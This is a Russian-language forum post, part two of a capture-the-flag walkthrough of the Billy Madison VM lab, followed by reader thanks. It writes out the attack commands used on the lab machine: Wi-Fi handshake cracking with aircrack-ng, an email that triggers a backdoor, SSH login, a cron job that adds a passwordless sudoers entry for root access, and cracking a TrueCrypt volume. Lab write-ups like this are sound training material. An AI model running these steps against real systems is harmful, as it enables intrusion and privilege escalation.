• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

CTF CTF. Hack the Billy Madison VM Part 2

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
Продолжаем разбираться с Billy Madison VM. Закончили мы на том, что получили логин и пароль второго пользователя на FTP.
> https://codeby.net/threads/ctf-hack-the-billy-madison-vm-part-1.59147/

Логинимся под ними на FTP и забираем два интересующих нас файла:

> get eg-01.cap

> get email-from-billy.eml

upload_2017-2-17_20-46-31.png


Вернемся к .notes.

upload_2017-2-17_20-47-4.png


Тут говорится, про SSH бэкдор, который, якобы сработает, если послать письмо содержащее, строки “My kid will be a (кто-то там). Ниже есть подсказка, откроем ссылку на видео. Посмотрев его очень большое количество раз… в общем не буду вдаваться в подробности (без гугла, я не разобрал там ровным счетом ничего). Скажу только, что текст письма должен быть таким My kid will be a soccer player. Так как, пока все сводится к отсылке письма, попробуем выудить что-то из email-from-billy.eml.

Открываем его любым редактором:

upload_2017-2-17_20-47-54.png



Есть информация о намерении сломать Wi-Fi Эрика, вероятно .cap нужный нам дамп.

Попробуем подобрать пароль.

> aircrack.ng /root/eg-01.cap –w /usr/share/wordlist/rockyou.txt


upload_2017-2-17_20-48-31.png


Эта ошибка вызвана тем, что с FTP .cap был скачан в текстовом режиме, а нужно было качать бинарный файл. В бинарном режиме файлы передаются без изменений, в текстовом режиме происходит модификация переводов строки в зависимости от операционной системы.

Вернемся на FTP и перед командой get выполним команду binary.

upload_2017-2-17_20-48-50.png


Перезапустим aircrack-ng:

upload_2017-2-17_20-49-5.png


Запишем и идем далее. В тексте письма стоит заметить, что оно было отправлено с использованием swaks:

upload_2017-2-17_20-49-28.png


swaks (Swiss Army Knife SMTP) – утилита, для тестирования SMTP настроек, это альтернатива telnet.

В начале мы видели, что порт 2525 открыт. Пробуем отослать письмо адресованное Эрику с помощью swaks.

> swaks –to eric@madisonhotels.com –from vvaughn@polyfector.edu –server 192.168.0.105:2525 –body “My kid will be a soccer player” –header “Subject: My kid will be a soccer player”

upload_2017-2-17_20-49-50.png


По идее, после этих заклинаний, должен открыться тот таинственный бэкдор.

(Я такой метод впервые вижу, и мне до конца не понятно как он сработал, если кто-то в комментариях расскажет как это, получается, буду благодарен)

Перезапустим сканирование портов:

> nmap –p- 192.168.0.105

upload_2017-2-17_20-50-43.png


Открылась истина, точнее 1974 порт с службой SSH:

upload_2017-2-17_20-51-10.png


Коннектимся к нему под логином eric и используя пароль, добытый из .cap файла.

> ssh eric@192.168.0.105 –p 1974

Осмотримся и заглянем в файл why-1974.txt

> ls –a

> cat why-1974.txt

upload_2017-2-17_20-51-39.png


Это не дало понимания, что делать дальше. Можно посмотреть, что было выполнено с помощью sudo от eric.

> find / -user root -perm -4000 -ls 2>/dev/null


upload_2017-2-17_20-52-6.png


/usr/local/share/sgml/donpcgd бинарник (это и есть бэкдор), был запущен от рута. Если мы его попытаемся запустить, нам будет предложено 2 пути использования:

> /usr/local/share/sgml/donpcgd

upload_2017-2-17_20-52-34.png


Так как у Эрика есть права создавать файлы в любом месте, мы воспользуемся этим, для повышения своих привилегий в системе. При этом будет использоваться второй путь.

> touch tmp/test

> /usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test

> echo –e ‘#!/bin/bash\necho “eric ALL=(ALL) NOPASSWORD:ALL” >> /etc/sudoers’ > /etc/cron.hourly/test

> chmod +x /etc/cron.hourly/test

> cat /etc/chron.hourly/test


upload_2017-2-17_20-53-18.png


Приведенные выше команды, позволят отменить запрос пароля у пользователя при попытке изменить пользователя на корневого. Мы создали задачу в cron, и ждем некоторое время, пока cron ее выполнит.

cron — классический - в -подобных , использующийся для периодического выполнения заданий в определённое время. Регулярные действия описываются инструкциями, помещенными в файлы crontab и в специальные директории.

Через время пробуем получить root:

> sudo su

upload_2017-2-17_20-53-37.png


Все получилось. Перейдем в корневую директорию, затем в /PRIVATE, и откроем файл hint.exe

> cd /

> ls –a

> cd PRIVATE/

> ls –a

> cat hint.exe


upload_2017-2-17_20-54-41.png


Следуя подсказке, для начала сгенерируем словарь, с помощью cewl и подсказки из файла.

> cewl -v -d 1 -w billy.txt

cewl – это приложение на Ruby, для генерации файлов словарей. Может использовать внешние ссылки, для своей работы.

upload_2017-2-17_20-55-1.png


Ко всему прочему, нам необходимо перенести файл BowelMovement из каталога /PRIVATE к себе на компьютер, чтобы в дальнейшем заняться подбором пароля к нему.

upload_2017-2-17_20-55-17.png


Подберем пароль к BowelMovement, используя truecrack.

> truecrack -w billy.txt -t BowelMovement

upload_2017-2-17_20-55-43.png


После успешного подбора пароля, файлик BowelMovement необходимо примонтировать в любую директорию, ввести пароль и можно знакомиться с содержимым.

Монтируем:

> veracrypt –tc BowelMovement /Billy
Заранее созданная папка

Заходим в эту папку и открываем архив – secret.zip

upload_2017-2-17_20-57-3.png


В нем содержится файл THE-END.txt – Это и есть окончание прохождения Billy Madison VM.

upload_2017-2-17_20-57-32.png


На этом, пожалуй, все. От себя добавлю, что это была довольно сложная CTF, и я не раз обращался в гугл, особенно подсказки их ютуба – это вообще нечто. Но из нее почерпнул немало информации.
 
K

kvptst

Весьма познавательно)))
Спасибо!
С удовольствием прочитал!

П. С. нужны мелкие правки по тексту первой и второй части. Например,в первой части Веронику несколько раз Викторией назвал, а тут hint.exe вместо hint.txt
 
  • Нравится
Реакции: Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
Весьма познавательно)))
Спасибо!
С удовольствием прочитал!

П. С. нужны мелкие правки по тексту первой и второй части. Например,в первой части Веронику несколько раз Викторией назвал, а тут hint.exe вместо hint.txt
А, то поправлю, хорошо, что читатели внимательные. На работе, в основном писал, поэтому и погрешности...
 
  • Нравится
Реакции: kvptst
K

kvptst

А, то поправлю, хорошо, что читатели внимательные. На работе, в основном писал, поэтому и погрешности...
Это мелочи. И не воспринимайте как критику - я всего лишь хочу помочь одному из любимых порталов))
Главное - продолжайте заниматься этими проектами, статьями, всей этой работой. Это полезно, интересно и видно,что с душой.
Спасибо Вам огромное!
P. S. От очень благодарного читателя
 
A

Antenwik

Очень благодарен автору, всегда все внятно расписывает и демонстрирует. Читаю с великим удовольствием. Респект.
Хочется увидеть больше статей. По этому желаю всего хорошего и позитивного настроения. Вперед, только вперед. ;)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!